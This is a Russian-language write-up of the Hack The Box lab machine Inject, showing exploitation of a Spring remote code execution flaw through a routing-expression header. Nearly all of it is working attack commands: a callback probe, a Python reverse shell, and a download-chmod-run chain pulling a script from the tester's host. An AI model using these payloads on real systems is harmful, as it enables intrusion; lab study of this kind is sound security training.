Сегодня, в рамках прохождения машины Inject с площадки Hack The Box, я покажу, как эксплуатировать уязвимость Spring4Shell в фреймворке Spring.
Еще по теме: Способы эксплуатации уязвимости Log4j
Что такое Spring
В этом проекте используется фреймворк Spring — это средство внедрения зависимостей с несколькими удобными слоями (среди них — доступ к базе данных, прокси, аспектно ориентированное программирование, RPC, веб‑инфраструктура и прочие).
Все это позволяет быстрее и удобнее создавать приложения на Java, но использование таких фреймворков может привести к рискам для безопасности. Так, эта версия Spring содержит известную уязвимость Spring4Shell.
Эксплуатация уязвимости Spring4Shell в фреймворке Spring
Этот баг приводит к удаленному выполнению кода (RCE). Подробнее о том, как это работает, можете прочитать в блоге Sysdig. Чтобы проверить уязвимость, попробуем запустить простой веб‑сервер на основе Python 3 и обратиться к нему с удаленного сервера:
1 |
curl http://10.10.14.16/test_rce |
Получится такой запрос:
1 |
curl -i -s -k -X 'POST' -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl http://10.10.14.16/test_rce")' 'http://inject.htb:8080/functionRouter' --data-raw 'test' |
Видим запрос в логах, а значит, уязвимость подтверждена. Запускаем листенер:
1 |
pwncat-cs -lp 4321 |
И выполняем реверс‑шелл. В качестве шелла используем следующий проверенный временем код на Python:
1 |
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.16",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")' |
Одной командой это выполнить не вышло, поэтому первой командой скачиваем реверс‑шелл, второй присваиваем права для выполнения, а третьей выполняем шелл.
1 2 3 |
curl -i -s -k -X 'POST' -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl http://10.10.14.16/rs.sh -o /tmp/rs.sh")' 'http://inject.htb:8080/functionRouter' --data-raw 'test' curl -i -s -k -X 'POST' -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("chmod +x /tmp/rs.sh")' 'http://inject.htb:8080/functionRouter' --data-raw 'test' curl -i -s -k -X 'POST' -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("/tmp/rs.sh")' 'http://inject.htb:8080/functionRouter' --data-raw 'test' |
ПОЛЕЗНЫЕ ССЫЛКИ:
- Поиск уязвимости Open Redirect с помощью Oralyzer
- Поиск уязвимостей в формах загрузки файлов с Fuxploider